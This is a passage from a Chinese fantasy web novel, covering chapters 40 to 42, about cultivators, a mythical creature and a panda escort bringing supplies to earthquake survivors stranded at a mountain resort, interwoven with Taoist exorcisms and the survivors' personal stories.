虽然山路难走,但对于孰湖和它叫来的小伙伴来说很容易,至于小伙伴是什么,说来估计也没人信,一群黑白团子。
野生的,听起来挺刑的…
这些黑白团子是他们在一处山洞遇到的。因为地震,山洞坍塌,它们被困在里面,好在食物够吃,每天刨一点,总能出来的。
孰湖夜间出去玩,路过听到了动静,把它们给刨了出来。它隐约有点印象,知道人类好像很喜欢它们,于是想办法它他们拐了回来。
天知道殳玲一觉醒来发现自己帐篷附近围了一群熊猫是什么心情,天都要塌了。
不过真好摸嘿嘿。
也不知道孰湖怎么哄骗他们,总之这群熊猫就这么水灵灵地跟着他们了。
有了熊猫的加入,他们队伍在山里行动虽然速度算不上快,但至少没什么阻碍。
这群熊猫还会自己找吃的,一点也不用操心。
那天他们和城隍协议,妖冥使可以借他们,帮他们探查人类聚集地,但他们也要帮妖冥使寻找精怪,以及哄骗一些精怪魂魄跟他们离开。
因为地震扰乱了地脉,使得妖冥使也无法感应到精魄的位置,只能用笨办法搜寻,虽然在无人区,他们活动自由比人类聚集地强,但地方太大了,搜寻很成问题。
人类在山里优势并不明显,所以这方面地府原本没想过借助活人的力量。
但殳玲和殳云烟来了。
殳云烟就是那只讨封成功的小狐狸,因为化形成功,它对精怪本身就有压制的能力,再加上它的天赋除了空间,还有对万物的调配和统御,山中精怪天然会亲近它,听它的话。
这里精怪是泛指,没有成精的小动物也算在内。
是以她们的出现对妖冥使帮助很大,他们也愿意去帮活人传递一些关于被困在山上的人类聚集地的信息。
至于为什么妖冥使不能自己去沟通精怪呢,其实类似于人类和鬼神的关系一样,生者会被冲撞,尤其是那些没有修行的小动物。
丛林法则本就危险,被冲撞了运势走低,可能下一秒就死在其他兽口中了这对妖冥使来说也是会扰乱因果的忌讳。
但孰湖这种拥有上古血脉的精怪和讨封成功的青狐就不同了,修炼本就是沟通天地,沟通鬼神自然不在话下。
孰湖举完常笑,又把殳玲举了起来,玩够了才跑回来让吴惟骑上它去下一个人类聚集地。
那里原本是个旅游度假村,人不多,都是比较有钱的人,但现在情况也算不太好。
虽然因为是度假村,建筑抗震能力比较强,但也都发生了程度不一的倒塌,有人受伤但好在没人死亡。
度假村食物都是每天从下面的镇子上运输过去的,每天都要保证新鲜,所以地震过后他们的口粮也只有维持两三天的量。
就这还是因为人少,商家为了服务品质,每种食材都会多出来一点以备不时之需。
之前一直没人来也是因为这个地方足够偏,官方搜救又是镇县村庄,一时之间没有想起来。
昨天晚上有狼群路过,碰上了,因为事先被打过招呼没有伤人,直接通知了他们。
山上的问题主要是物资短缺,所以几人大概商量了一下,让孰湖先带吴惟上去,殳玲他们还要先去附近的县城。
至于怎么糊弄,问就是空投,让直升机在附近飞一圈,虽然不走心,正儿八斤空投可带不了那么多,但好歹是个理由。
“让吴惟一个人去没问题吗?”常笑有些担心,以他的性子,可能镇不住场,尤其是那边几乎都是富贵人家。
他和殳玲都很清楚那些贵人拿鼻孔看人的面孔,不过,贵人有贵人的弱点,“放心好了,越是富贵越敬畏怪力乱神的东西,吴惟对他们天克。”
尤其是吴惟的性格虽然对于了解他的人特别好懂,但对于第一次见面的人还是挺有震慑力的。
加上一点点超常规的手段,他们那种人就只会疯狂脑补和迪化,把吴惟捧成大佬。
大师那么强,做事怎么可能没有什么寓意呢,对吧?
吴惟可不是什么小白菜,他是小白生化武器:)
常笑点头,算是认同她的话了,殳玲一般不会错,这也是三班的共识。
“但是吴惟现在是我的保护目标。”作为警卫员不应该让自己的目标离开视线范围的。
“放心,我已经和你爹通过气了,他同意了。”殳玲叹气,“度假村附近也没什么危险,况且有孰湖在,遇到事怎么样都能逃掉。”
也行吧,这人整天啥都要操心挺累的,就让他在山上休息两天再去接他,常笑对自己老爹的判断还是很信任的。
.
子车树是跟着同学来玩的,因为他会一点武术,这位富二代傻白甜室友就天天缠着他,要和他做朋友。
和单纯的人做朋友自己也会很轻松,所以他倒是没有什么抗拒,这不暑假,同学邀请他来玩,左右他也没啥事,就跟来了。
谁知道居然碰上了大地震,他们被困在了山上。
这座扶摇山庄度假村是傻白甜同学闻立新家里的产业,这是他最近才知道的,难怪会邀请自己来这里。
不得不说能养出这样的孩子,闻家还是很良心的,这里的建筑材料和结构都是专门做过抗震测试的,若不是这次地震过于强烈,可能都没什么事。
现在清理一下,有些地方还是能暂住的,但是房子没事,山路却有事了,附近的山路都断成一节一节的。
他们运气不好,地震结束后又下了一场雨,本来就破烂的山路又被泥石流堵住了,他们彻底断了和外界取得联系的方式,这里成了孤岛。
度假村的食物只能坚持两天,好在他还稍微有点野外生存的能力,能够分辨一些野外的植物能不能吃。
度假村虽然人不多,但也有六波人来住,一波是一家三口,两波情侣四个人,另外一个老人带着管家,还有一波是一群少爷小姐,五男两女,为首男生看闻立新不顺眼。
再加上这里的工作人员,共有三十多人。
最开始他们认为会有人救援,那些少爷小姐一个个趾高气昂,根本不正眼看人,还想抢别人吃的。
但生命面前没有人会惯着他们。
后来子车树从山上找来吃的,分给大家,并要求大家一起做一些力所能及的事。
一开始几个少爷小姐大吵大闹,不愿意配合,也不愿意吃那么难吃的东西,但一直没有人来接,迫于形式,他们只好接受现实。
但时间久了,附近的能吃的都被他们吃完了,官方的救援还没到,压抑的情绪又开始翻涌,趾高气昂的大少爷跟隔壁的情侣吵了起来。
“你敢说你没有藏吃的?我昨天都看到了,你们偷偷把巧克力拿出来吃了!”
“把东西交出来!”
“我们真没有,谁知道你们是不是污蔑!”
“是不是屋面搜一下就知道了!”
“你凭什么搜我们东西?!就算我们藏了也是从自己口粮里省下来的,又凭什么给你!”
“你承认了!大家都听到了,她承认了!…”
“你干什么?!你放手!”
子车树真的很不想管,但一回头,就看见傻白甜室友眼睛殷切地看着自己。
就…带不动,好累。
“那什么,立新啊,咱们没法管到别人,还是尊重个人命运吧。”子车树老神在在望天。
“那…好吧。”闻立新有点失落,不过他不是那种喜欢为难人的性格,自己做不到也不能要求别人,树树已经帮了他们很多了。
肚子咕噜噜的叫,闻立新乖乖坐回角落,他感觉自己快饿晕了。
夜晚的风又湿又凉,但他们都不敢进房子里,他们只能围着火堆驱寒。
地震没过几天,迎来了余震,房屋结构遭到了二次破坏,虽然还有部分依旧挺立,但也跟危楼没什么两样了。
“嗷呜~”
闻立新一个激灵做起来,吵架的人也瞬间收声。
几人目露恐惧,子车树捡起一根棍子,用布缠了两圈,放在火堆上点燃,向着狼嗥的方向做出了防御的姿态。
所有人躲到了他身后,刚刚差点动手的大少动作连滚带爬,一点也没刚刚吵架的凶悍。
哼,就会窝里斗。子车树表示很不屑。
不一会儿头狼步伐优雅地从树影里走了出来,身后跟着数十只狼。
子车树看这情况手心都在冒汗,这么多狼,再好的功夫都打不过吧?!
如果是正常状态,身后没有人的话,也不是完全打不过,但他已经饥一顿饱一顿饿了好几天了!
不过再怕也不能退缩。
“都出来,拿起武器。”
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>“不,不行的,我们会被吃掉的!!!”胆子小的男生已经恐惧地站不起来了。
在场那位老爷子最先反应过来,和管家一人抄起一根木棍,站在子车树旁边,“都起来,不要怕,你越怕它越凶,只有比他们凶,让它们知道你不好惹,才能吓退它们!”
虽然不一定管用,但这也许是一线生机。
这时闻立新也拿起棍子站到子车树身边,紧接着是两位大小姐和之前跟大少吵架的情侣,再之后工作人员…
他们陆陆续续都拿起了武器,包括胆子很小的那个男生,站在他旁边的妹子还能听到他口中念念有词:“我不怕,我不怕…”
大少爷不情不愿地拿起武器站了起来。
头狼似乎觉得很有意思,在前面来回踱步,蓦地,仰头一声长嗥,所有狼群都露出了凶猛的一面,下一刻就朝他们冲了过来!
场面一度混乱,有些人吓得倒退了一步,还有一些人握紧了手中的武器蓄势待发。
忽然,子车树眼前一花,踉踉跄跄冲了出去,摔倒在头狼的面前!
子东树定睛一看,竟是闻立新!
他目呲欲裂,想也没想猛的冲上前去。
就在火棍快要攻击到头狼的时候,它跳开了。
子车树屈膝稳住身形,把闻立新挡在身后,谁知头狼又是一声嗥叫,冲了一半的狼群一个急刹车,直接掉头就跑了。
子车树:“?”
这种情况谁也没想到,众人暗自防备了半天,感觉狼群不会再返回了,才慢慢放松下来。
“啊!”突然一声惊叫吸引了所有人的视线,是那个胆小的男生,“孟昊不见了。”
孟昊就是之前那个大少。
“那个,”前台妹子举手,“我瞟到了,刚刚就是他推了闻小少爷,他才会摔出去,之前还以为看错了。”
“这人怎么这样!”
背刺的人大家都谴责,跟大少一起来的人也接受不了他这样的做法。
“不要管他了,”子车树冷静地说道,虽然嘴上不提,但是这人他记住了,别的他做不了,但以后出去了一定想办法套他麻袋,“晚上大家都警惕一些,轮流守夜,遇到危险好叫醒大家。”
众人同意了这个提议,分配好值夜,就纷纷休息去了。
一夜无话。
因为晚上大家睡的都不是很安稳,起的也不是很早,子车树看闻立新也在睡着,就没有叫他,自己在附近找了点材料,准备做点简易捕猎的工具。
其实之前也有想过抓点东西吃,但是采摘的时候周围半个小动物影子都没,自然作罢,昨天有狼群经过,说不定附近会有一些吃的,之前是因为他们动静太大了才找不到。
无论如何,都要试试,不然他们真的会饿死。
“啊——”
正找着,突然听到一声惊恐的喊声,子车树丢下材料就往那边跑去。
当看清把那人吓到尖叫的源头的时候,整个人都呆住了。
只见一位身着黑衣,木簪盘发,有点像道士的人,侧身站在人首马身的怪物旁,伸手抚摸怪物的脑袋。
他伸出去的胳膊还被怪物抱着,似乎是在撒娇?
那人安抚好怪物,转过身来,目光定格在了自己身上。
.
在山里孰湖的脚程是真的快,不出半个小时,他就抄近路越过了两座山,到达了度假村附近。
他本来想让孰湖放下他,自己走过去呢,谁知孰湖根本不给他下来的机会,怎么叫都不停,直接冲进了他们搭建的帐篷附近。
这种帐篷并不是军方给民众搭建起来生活用的大帐篷,而是那种露营的很小的,只能睡两个人,并且不能走动。
到了地方孰湖才停下脚步,抖了抖脑袋,邀功似的叫了一声,吴惟都要气笑了,不乖乖听话留在外面,还想让他夸自己?
吴惟下马,有些不想理它,谁知这家伙不知道什么时候学的脸皮那么厚,抓起自己的手就放在它头上,嘴里还发出撒娇的叫声。
吴惟:“?”
不过他倒是读懂了孰湖的意思。
“不是你自己的主意,是玲玲姐让你这么做的?”
孰湖用力点头。
吴惟嘴角抽搐了一下,“算了,不怪你。”
殳玲这么做一定有她的考虑,自己脑子简单,听话照做就是。
“啊——”一声惊叫打断了吴惟的思绪。
不过谁让某人反应慢呢,直到孰湖拱了拱他的手,才反应过来,果然吓到人了啊,看来这就是殳玲要的效果呢。
叹了口气,手回收,吴惟这才把目光转向子车树的方向。
.
41.第 41 章
“这是?孰湖?”子车树反应过来了,这不是什么怪物,是《山海经》中的精怪。
不过原来这东西是真实存在的吗?!
子车树的声音很小,只是自言自语的呢喃,吴惟听见了,但很干脆当没听见。
社恐不需要听到太多东西,不知道怎么接话也很尴尬的好吧!
子车树走神之际,吴惟和孰湖就已经走到他了跟前了。
至于为什么是子车树,主要是刚刚那人已经吓得钻回了帐篷,那边帐篷已经露出来了几个脑袋查探这边的情况,到正儿八斤站在这的只有子车树…
哦不对,还有刚刚突然冲出来挡在子车树身前紧张兮兮的闻立新。
闻立新能不紧张嘛,面前这人看似无害,但能够驯养那样一头怪兽,怎么可能无害呢。
不过是谁都行,吴惟无所谓,他是个送物资的…不过殳玲说要在这里呆一段时间,开场白怎么说啊,好头疼。
其他地方已经逛遍了,这是最后的区域,而这个度假村,是他们最后几个目的地之一,也是路途最难走的聚落,这才让熟湖单独带着吴惟上来。
他沉默良久,直接放弃思考,干脆利落划开空间,一个个大箱子凭空出现在一旁的空地上,再一伸手,一叠a4纸出现在掌心。
吴惟伸手递到了面前的闻立新,“快递到了,请签收。”
闻立新人都傻了,不是哥们,你这送快递的方式有点…
酷啊!!
闻立新眼睛亮亮地盯着吴惟:“你是异能者吗?!”
难不成现在不只是大地震,而是末世了,这个世界出现了异能者?
难怪这么多天没有人出现,难怪昨天的狼看起来好聪明,甚至放过了他!
子车树捂脸,子车树无法直视。
这傻白甜又开始了。
当初他遇到自己也是这样,脑补什么古武世家,还有什么生活在深山老林,和都市是两个世界。
不过有一点倒也不算错,他们家族确实是武学世家,并且也确实有一些御气之法,会一点内力,但也就仅此而已了。
但是什么古武什么的…这个词他不想认,太中二了。
“不是异能,外面没事,”吴惟僵硬地解释了一句,接着说,“人手不够,附近没有降落条件,暂时不能带你们出去,这些物资你们核对一下,没有问题了请签字接收。”
“好的,好的!”闻立新超大声,他决定了,要抱这位大佬的大腿!
就算不是异能也好酷啊,说不定是修仙者呢,看看他身边的怪物,特别有《山海经》的味道!
在闻立新的脑子里,他坚信室友是某点大男主,他是男主的小弟,这位突然出现的大佬,一定是金手指老爷爷。
虽然不是随身的!
为了讨好“老爷爷”给自己男主室友发金手指,闻立新干劲十足,正要跑去拆快递。
刚走出去两步,被孰湖从背后抱起来举得老高,闻立新惊叫了一声。
子车树瞳孔微缩,身体立刻紧绷起来,手上真气蓄势待发。
听到这一生惊叫,孰湖知道自己好像吓到对方了,赶紧把人放下来,小跑到吴惟身后,俯下身把头搭在他肩上,一副做错事可怜巴巴的样子。
“哎…”吴惟叹气,他还能怎么办?他只能替孰湖道歉了,“抱歉,孰湖就是孩子心性,喜欢和人玩儿举高高,没有恶意。”
“没事没事,”子车树没说什么呢,连防御都还没卸下呢,闻立新就摆摆手选择原谅了,“其实还挺好玩的,就是被吓到了,哈哈。”
孰湖一听他说好玩,又跑了出去想抱他。
“孰湖!”吴惟叫了一声,孰湖乖乖走回来。
闻立新刚刚又被吓了一跳,看它回去了才松了口气,不再耽搁,赶忙转身跑到快递旁边,招呼人手拆快递。
子车树没有动,他在盯着吴惟。
虽然感受不到这人的恶意,但他的能力太过莫测,他有些拿不准。
吴惟没有在意他的目光,看他们在忙,自己也没事,就转过身去摸摸孰湖的毛发。
孰湖很喜欢别人抚摸他的毛发,和人的毛发不一样,它不是只有头上长毛,它的毛发顺着背脊一路向下,一直到人身的腰部。
它的毛发类似马的鬃毛,毛色顺滑带点反光,阳光下有种熠熠生辉的感觉,摸起来手感像绸缎,特别舒服。
它上半身穿着剑袖圆领,领口向外翻折,下身没有汉服圆领袍那样长,只到膝盖上方。
背面因为要露出毛发,衣服是从中间分开的,中间用一条条链子固定隐藏在毛发下,一路摸下来也不是很硌手。
身上的马鞍和衣服是同样的风格,颜色是吴惟最喜欢用的撞色,红、蓝、黄、紫,以及一些金饰点缀,听起来好像花里胡哨的,但这样杂乱的颜色一旦用好了很亮眼。
吴惟当初画这个设定的时候,被虐的死去活来的,因为每个配饰的细节殳玲都有要求,要不是她给的多吴惟都想退稿了。
好在效果喜人。
只是他从未想过有一天竟然能看到实装的。
吴惟双眼涣散,脑子里各种发散,子车树在一旁冷眼旁观,越看越觉得此人高深。
子车树自己是学武的,对人的气息很了解,越是强者存在感越强。
但眼前这人例外,他能感受到这人周身磅礴的气息,但并不迫人,反而很平和,带着一丝安抚人心的力量。
看久了,他渐渐发现这人的气息竟然从自己的感知中逐渐消失,仿佛融入了这片天地,就像路边的一块石头,你看到他,却不会在意他。
渐渐的,他似乎已经忘了眼前有一个人,身体慢慢放松下来,视线也慢慢转移。
子车树悚然一惊,抬头望去,这人依旧站在原地。
他的世界一瞬间静默了。
这种感觉很玄妙,他说不出来是什么感觉,一时仿佛抽离了肉身,声音渐渐远去,颜色慢慢褪去,山风也消失不见。
他感觉时间仿佛停滞了一般,他依旧能感觉到周围人,周围的树,甚至细微的风向在他的掌握之中。
他看到风拂过树叶,打翻了叶片,有露水滴落在泥土中…
他看见人们围着箱子,满脸都是喜悦…
他看见不远处衣衫褴褛的人,抱着头着头哀嚎,求树上用石头砸他的猴子放过他…
他看见一片叶子落在他眼前,他睁开不知何时合上的双眼,伸手抓住了叶片。
感受着叶片锯齿划破手掌,子车树有些发愣,刚刚那些…似乎不是幻觉。
另一边热火朝天,这边静默无言,界限分明。
半晌,闻立新终于清点完毕,屁颠屁颠拿着签过字的a4纸来找吴惟,“大佬,我都清点过啦,没有问题,这个给您。”
这声音要多献媚又多献媚。
子车树撇过头,不想看了。
吴惟拿过a4纸,把它放进了空间。
“大佬,你要走了吗?”闻立新有些紧张,他昨天他们遇到狼群的事心有余悸。
“不走。”吴惟摇头,“我得确保你们安全,等人来接你们。”
“太好了!”闻立新惊呼,跑回去把这个好消息带给大家,之后又是一阵惊呼。
众人安下心来,就感受到肚子打鼓,赶忙取出一些熟食互相分了先垫垫肚子,又架起锅准备生火做饭。
地震十来天后,他们终于要吃上正常的食物了!
.
“我们不去找吴惟?”常笑问殳玲。
他们已经送完两个地方了,天都要黑了。
“不去,”殳玲翻着单子,她准备再去一个地方就收工,“别担心,他能应付。别把他想太脆弱了。”
“我没,你知道的,他不善交际,”常笑解释道:“不是我不相信你,但是万一呢,我是他的警卫员,我得负责他的安全。”
殳玲也知道他责任感强,很耐心跟他解释道:“你放心,有孰湖呢,他感知力敏锐,加上孰湖对山地熟悉,真出什么事了跑不了的绝对不是他。”
“以咱们神子大人的能力,以后肯定是要独当一面的,这种小场面给他练练手刚好。”
“你也别太操心了。”
常笑想想也对,把心放下了,又问:“那我们什么时候去接他?”
“不急,”殳玲靠在熊猫上,叼着草,样子有些吊儿郎当,不紧不慢道:“让他在山上多休息几天。”
“省得下山整天操心别人。”
明明上学的时候整天一个人待在角落什么都不关心,怎么到这了什么都要关心。
其实殳玲自己心里也清楚,如果不是吴惟,她得把人拉住了,她自己也会拼尽全力。
只不过因为吴惟修行之后,学会了作弊,能用潜意识去调节身体疲劳感,加上常笑这个作弊利器,能让自己短时间内解决很多事情,所以才显得比较夸张。
所有人都怕他累垮了,只有他自己知道问题不大。
反而因为反复耗空,他的灵识增长很快,对气的操控能力都提升了,最近甚至开始跟婴灵学习怎么用灵识探查周边环境,就像修仙小说里的
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一样。
殳玲最后这句话,常笑无法反驳,只是作为警卫员,他还是觉得自己应该贴身保护对方才行。
殳玲看了一眼欲言又止的常笑,“他如果要继续硬撑,你能拒绝他提出的要求吗?”
常笑立马闭上嘴,不行,他做不到。
“放心,烟烟有派鸟儿跟着,大不了我让它们每天给你汇报他的情况不就好了。”
常笑迟疑了一下,点头同意了这个方案。
度假村庄的情况,以及周边村镇的情况,他们都已经上报过了,现在就等官方开路了。
两人暂时把这件事抛到脑后,骑着黑白团子找一片适合安营扎寨的地方。
.
“叮铃”
“叮铃”
伴随着两声清脆的铃声响起,废墟之下开始有了动静。
各种撞击声“砰砰砰”地响起,越来越急,越来越重,不一会儿废墟几处被掀开,一个又一个人影蹦了出来,蹦蹦跳跳来到废墟另一处。
这里是一块整板,体积不小,卸载一处三角地带。
红外线显示下面有生命的迹象。
曹幼枫再次摇动手中的铃,僵硬的人影齐心协力,把那块大板掀开。
厚重的钢筋水泥板“砰”的一声落地,消防员马上冲了过去,没一会儿就从里面抬出一人。
救援队长指挥着人把他抬上救护车,回头向曹幼枫道谢,曹幼枫摆摆手,说道:“行了不用谢,你们快去别处把,这里的尸体我全拖走了。”
“好的好的,您忙。”
“叮铃”
“叮铃”
刚刚救了人的尸体蹦蹦跳跳排成一队,等待出发。
在此之前,曹幼枫摸出怀中的夜游神令牌,默念她的名字,数秒过后,一道虚影出现在她身边。
虚影冲她点点头,一挥手,前方废墟中的魂魄呼啦啦飘了出来,无一例外,怨气缠身。
夜游神叹了口气,把他们收紧招魂幡中,回头对曹幼枫说:“这里也标记一下吧。”
“好。”
曹幼枫从口袋里抽出一张符纸,甩向废墟的位置,便不再回头看了。
她带着尸体前往下一处。
.
宿万带着一群道士来到一处被标记过的废墟,附近已经被清场了,他们互相之间不用交流,很快便布置好了现场。
“溃自鬼万,下一刀神。类灭猷天,骸破明四。”
“翁北刁高,司都丁五。童煞元九,蓬天蓬天。”
《灭魔咒》一出天地清正之气浩浩荡荡从四面八方袭来,一股肃杀的气息直冲入废墟。
黑气感受到不对劲,从废墟中挣扎现身,横冲直撞,想要逃离。
但它没想到,灭魔咒从四面八方而来,誓要将它涤荡干净,怎么可能留下一丝缝隙给它逃出生天的机会?
虽然天地阴阳之气没有什么好坏分别,但其中权能并不相同。
清气阳刚,发挥到极致通常拥有毁天灭地之能,清气通常是爆烈的,不容一丝杂质。
阴浊之气往往包容,包容万物,可以创造生命,就如大地,它不分好恶,全然的包容,但这样的包容一旦失了平衡,就容易自毁。
魔这种东西本身就是混乱的,自毁的,并且在自毁之前要沾染所有的东西陪他自毁。
所以它不怕阴浊之气,反而讨厌清正之气,但对付它需要的清正之气需要纯度比正常使用的高很多,否则不起效果,反而会被污染。
这也是这段时间官方研究出来的答案。
除了天克的功德之力,只有用这浓缩的清气,以力压之,以势破之。
只要足够多,足够纯正,就能消灭魔纹,只是到底不功德来的快捷有效。
一天一夜过后,最后一缕黑气消失,几人才慢慢收回咒术。
这时,提前到来,在一旁守候的阵师,祭出阵盘,双手掐诀,繁杂的手诀依次打入阵盘。
半晌,一个完整复杂的天罡北斗阵完成,落在了废墟之上,防止地气紊乱导致阴煞之气再生。
做完这一切,几人才离开此处。
最后一步就是消毒防疫,这是官方的事了,和他们没关系。
等消毒完成,这里就不会再容易聚集秽气,也就不怕因为清理废墟而破坏阵法。
这套完整的流程已经进行了十几天,大部分人类聚集的地方已经清理完成。
而官方、志愿者以及社会公益组织那边,正在紧急修路,争取能早日把困在山上的民众救下来。
.
42.第 42 章
山中无岁月,世上已千年。
吴惟已经开始胡言乱语了。
逃跑的孟昊已经哭着跑了回来,被发现之后这群人实在不愿意带这个背刺的家伙,于是经过众人投票一致同意把他捆起来。
至于吴惟,被背刺的又不是他,他什么也没看到。
经过两天的等待,吴惟就已经知道他也被某两个家伙背刺了。
只不过他大概理解那两个为啥背刺,他忙碌的时候没什么顾及,估计是吓到他们了。
其实吴惟也很无奈,他不是故意的,只不过他就是有这样的毛病,专注做一件事的时候很容易忘记时间,之前画画也会这样。
能感受到疲惫还知道休息,感受不到了自然就忘了。
别看他平时作息还算健康,但那是他没有突然来灵感的时候。
如今被扔到山上修身养性…那就修身养性好了。
至少不相信老同学会害他。
救灾的工作其实已经熬过最难的时期了,现在他们人手充足,明面上的军方、武警部队、消防局、医疗组织、志愿者、各大社会公益组织;暗地里的特事局、玄门、地府…
以及用各种方式送来物资和支援的民众、受灾群众自身积极参与…
一切都在向好的方面发展,可以说多他一个不多,少他一个也不少,想明白这一点,吴惟安心在山上住下了。
每天就是在附近逛逛,观察一下小动物画一点速写什么的。
这里没有网络无法发表,但发电机他带了一台进来。
这么想想,难怪走的时候殳玲只让他带了一台,其他全放小狐狸那了,果然是早就预谋好的!
真不愧是班长。
这段时间孰湖和山上众人混熟了,他们发现它并不伤人,并且有时候还会愿意帮他们做事,慢慢地就不怕它了。
甚至把它当成了好朋友,孰湖也像哄小孩子一样,又是抱抱又是举高高,有时还会背着他们在山上乱跑。
它的举高高没有厚此薄彼地给到了每一个人,就连两位老人家都没放过,不过孰湖很小心,没有伤到他们一点。
可怜活了大半辈子的老人家,又被当成孩子哄了一次呢:)
孟昊带来的少爷小姐们其实并不都像他一样,只不过同样是在家里不受重视才会和他走到一起。
相比起孟昊,他们就像是凑到一起互相舔毛的小兽,用趾高气昂的态度来掩饰自己的软弱。
别人或许看不出来,但孰湖不一样,作为精怪,它对人的善恶很敏感。
人在社会中可能会因为各种原因形成对立,但在这里不一样,同甘共苦一个多月,走到现在,互相之间基本上已经卸下心防。
之前,在一次真心话大冒险中互诉衷肠的时候,闻立新才明白,为什么孟昊为首的少爷小姐们讨厌他了。
因为他过的太好了,同样是幼子,他有他们没有的爱。哪怕不是作为继承人培养的,但陪伴从来都不少,是以闻立新表现在外的傻白甜形象才遭来眼红。
那次之后他们握手言和,成为了好朋友,他们发现闻立新这种人虽然看着让人很嫉妒,很讨厌,但相处起来是真不错。
尤其是他很会夸,他们在家里没得到的肯定,全都在闻立新这里得到了补偿。
少爷小姐们突然感到释然。
小情侣那边,其实有一对谁也不喜欢对方,一直当对方是好哥们。
在一起的原因挺坑,之前被人起哄,以为自己喜欢对方,之后的相处总觉得哪里挺别扭,现在把别扭的感觉说开了,又恢复到以前哥俩好的状态了。
老爷爷呢,以前是个大佬,但因为常年在外不顾家,孩子长歪了都不知道,他儿子在外面搞小三,把儿媳妇气病了。
之后小三找儿媳妇聊了,他儿媳妇才知道小三不是小三,是被小三的,之前不知道他有家室。
儿媳妇一气之下跟要跟丈夫离婚,孩子她要求带走。
事情发展到这里,老爷子这才知道这件事,差点被气进医院,后来他帮儿媳妇离了婚,孩子也给了对方。
他觉得养子不教是自己的过错,于是把公司抛售了,带着剩下的养老钱和陪了自己大半辈子的管家离开了。
只给儿子剩了一点能够维持他一段时间生活的钱就再也不管了。
这个心结到现在都没解开。
众人听完唏嘘不已,也敬佩老爷子的魄力,但老爷子不以为荣,毕竟说到底是自己种下的因。
若是他早点没有那么不顾家,不管孩子,是不是就不会长歪了?
这些故事听起来有趣,吴惟向他们要了授权,想要画成短漫,并保证绝不会透露个人信息。
大家感念吴惟送来物资,解救他们于水火,纷纷同意了。
他们之中,还有位服务员姑娘,家里是伏地魔家庭,比之前遇到的张家和郁家更甚,几个姐姐都被家里用高彩礼给卖了。
三姐运气好一点,对方是真心喜欢她,给彩礼的时候很阔绰,并且和家里协议了,算是买断关系,之后再也没有往来。
只是姑娘还是觉得很难过,想要脱离这种家庭就一定要依靠别的男人吗?万一那个男人靠不住呢?谁能保证自己的眼光没问题,又或者多少年之后不变心?
她不想结婚,因为自己收入高,家里面才没有催婚,变着法的压榨她,但因为多年的思想禁锢,她又总是害怕,不敢反抗。
其中一位大小姐听的很生气,说出去之后要帮她和家里断绝关系,姑娘虽然犹豫,但大小姐这个举动让她很感动。
另外一对情侣的女方就是律师,她说可以帮她,具体事宜可以出去后再说。
厨师大叔家里有一对可爱的双胞胎,提到他们脸上的笑容就没下去过,但后来他说他家是川省本地的,所有人都沉默了。
无他,这群人会选择在川省度假和工作,也是因为有一大半的人都是本地人。
他们被困在山上,不知道家人是否还活着,过的怎么样。
气氛渐渐变得沉重。
这时闻立新说话了,“大家别这样啊,要相信吉人自有天相,再说了无论他们有没有出事,至少肯定希望我们是好好的!”
“而且你们看,咱们条件都这么艰苦了,上天还把吴惟大佬送上来给我们送物资过来说明我们运气不错。”
“我们运气不错,在乎的人运气肯定也不错,现在要做的是照顾好自己,出去之后才好团聚,对吧?”
众人心情好多了,纷纷点头称是。
.
这段时间闻立新和子车树总是跟在吴惟身边。
前者想讨好他抱大腿,有可能的话他也想学点有趣的技能,不过都是嘴上说说,毕竟之前说想学武术,室友让他扎马步他都一直找借口逃。
后者则是因为上次的事,他似乎摸到点先天境界的门槛,他想要近距离观察一下吴惟,看看能不能再次进入当时的状态。
不过这么多天下来,他发现这个人除了不用吃饭以外,和普通人一样,并没有什么特别的。
武道也有辟谷一说,不过他没有尝试过,听说辟谷可以祛除经脉里的杂质不知道是真的假的。
子车树想要不要试试?
他第一天没吃东西的时候,吴惟注意到了,问了一句:“你是不是想辟谷。”
因为他状态不是太好,脸色倒是不至于发白,但是脚步却有些虚浮。
婴灵告诉过他此人是修炼武道的,其实就是修炼人身。
活人修行有两个方向,一则炼魂,二则炼体。
炼魂其实就是练气,吸收外界的清气化为己用,一般道家很多法门修炼都在此列,最典型的例子就是毕子濯。
灵魂足够强大,哪怕未来脱离肉身,随便一个器具都可以居住,甚至转入鬼道不再修炼,也能活很久。
而炼体,就是炼肉身,有人吸收阴气凝练血液,这是一个方向,另外更广为人知就是以武入道,锻炼体魄,从而达到延年益寿的效果。
很有意思的一个点,就是一般来说有形之物为阴,无形之物为阳,吴惟原以为既然如此,那修炼武道的岂不是吸收的真气是阴气了?
但事实并非如此,阴阳相生,武道修炼需要的也是清气,以气养血,从而锻炼体魄。
这让吴惟想起了很早之前,他妈妈认识的中医阿姨给自己讲过的一个理论:你要补什么,不能直接去补,这样很容易上火,也很容易伤到生发它的那一方。
而最好是以相生之物去生发。
举个例子,中医认为五行、五脏、五味、季节等都是相通的。
春天主肝脏,五行属木,主酸味,吃酸的补肝,但如果你在春天吃酸的吃多了,就会很容易上肝火。
所以当初肝不好阿姨给他调理肝脏的时候开的药是补肾阴的。
具体的原理他不是很清楚,但大概意思他听懂了,当时中医是这么解释的,你妈生你得时候很累,所以肝木旺了肾水的压力会很大。
形象易懂,和武道修行有异曲同工的意思,很有趣。
果然阴阳五行是底层逻辑,如果理解了,很多事情都可以这么解释。
扯远了,吴惟看到一个武者脚步虚浮的样子,肯定会觉得不对,稍微注意了一下,发现他晚饭没有去吃,这不就破案了。
一般来说武者肉身强大,一天不吃没什么,普通人是看不出来的,但谁让吴惟就是个学画画的。
当初还为了画人,顶着社恐的脑子都敢往人堆里扎,专门去观察人类的行为举止。
虽然平时他不好意思多往人身上瞟,但第一次见武者,他自然是很感兴趣的,就观察的仔细了一些,有时候还会拿他和常笑对比。
大概是因为炼体修的也是真气,和平常人锻炼方式有所不同,所以子车树的脚步会比常笑轻盈许多。
但这种轻盈你依旧可以感受到一种力量感,是控制细微的轻盈,和虚浮是两种状态。
子车树身上所谓的虚浮感并不明显,只是之前观察人类脚步的经验加上最近学习灵识的运用,让他察觉到了不对。
子车树很惊讶,或者说有点细思极恐,他虽然也发现了自己的状态不对,但那么细微的变化他是怎么察觉的?
吴惟很敏感的看出他情绪的变化,知道自己猜对了,只不过这情绪是不是有
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点太夸张了?
他不傻,眼睛也很好,平时很多事看不透只是思维逻辑不同而已,他对人的情绪还是很敏感的。
不过他倒是没在意子车树在想什么,只是见不得人糟践自己身体。
叹了口气,慢慢为他解释辟谷和断食的不同:“辟谷不是断食,心态要稳才能有效果,否则只会伤身。”
“它不是单纯的不吃,而是通过意念调节,让你的身体相信它不需要从外界汲取能量也可以自我运化。”
“你的念想,你的相信才是最重要的。”
子车树呆住了,他所接触过的理论从来没有这种,这么…唯心?
“怎么,觉得很唯心?”
